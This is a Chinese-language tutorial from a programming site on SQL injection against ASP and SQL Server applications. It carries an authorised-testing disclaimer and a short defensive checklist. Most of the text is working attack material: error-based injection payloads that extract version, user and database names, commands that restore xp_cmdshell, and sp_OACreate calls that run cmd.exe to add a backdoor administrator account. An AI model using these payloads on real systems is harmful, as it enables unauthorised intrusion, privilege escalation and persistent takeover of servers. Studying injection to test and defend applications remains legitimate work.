首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Injection 實戰:從資訊探測到拿取 WebShell 與系統權限

     編輯:關於SqlServer

⚠️ 僅供授權滲透測試與防禦研究

偵測注入點

https://site/list.asp?classid=1'
-- 回傳「未閉合引號」錯誤 → 確認存在注入

資訊蒐集內建函數

函數用途
@@VERSION作業系統、SQL 版本、SP 等級
USER_NAME()目前連線使用者
DB_NAME()目前資料庫
HOST_NAME()客戶端主機名

實戰擷取範例

-- 取得版本
classid=1 AND 0<>(SELECT @@VERSION)
-- 回傳轉型錯誤,錯誤訊息中包含版本字串

-- 判斷是否為 dbo
classid=1 AND USER_NAME()='dbo'  -- 正常回應 = 是 dbo

-- 取得資料庫名
classid=1 AND 0<>(SELECT DB_NAME())

高權限利用:xp_cmdshell 與 OLE Automation

若為 sysadmin 角色,可啟用/恢復 xp_cmdshell:

-- 檢查是否存在
SELECT COUNT(*) FROM master.dbo.sysobjects WHERE xtype='X' AND name='xp_cmdshell'

-- 恢復(需確切 DLL 路徑)
EXEC sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
-- 或指定絕對路徑
EXEC sp_addextendedproc 'xp_cmdshell', 'c:\inetpub\wwwroot\xplog70.dll'

進階:sp_OACreate 建立 WScript.Shell 執行任意命令:

DECLARE @o INT
EXEC sp_OACreate 'WScript.Shell', @o OUT
EXEC sp_OAMethod @o, 'Run', NULL, 'cmd.exe /c net user hacker P@ssw0rd /add'
EXEC sp_OAMethod @o, 'Run', NULL, 'cmd.exe /c net localgroup administrators hacker /add'

防禦檢查清單

  • ✅ 所有動態 SQL 改用參數化查詢
  • ✅ 網頁錯誤訊息不回顯技術細節
  • ✅ 資料庫帳號最小權限(非 sysadmin)
  • ✅ 移除/停用 xp_cmdshell、sp_OA* 等危險延伸預存程序
  • ✅ WAF 規則攔截 @@VERSION、xp_cmdshell 等特徵
  • ✅ 定期掃描注入漏洞並修補
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved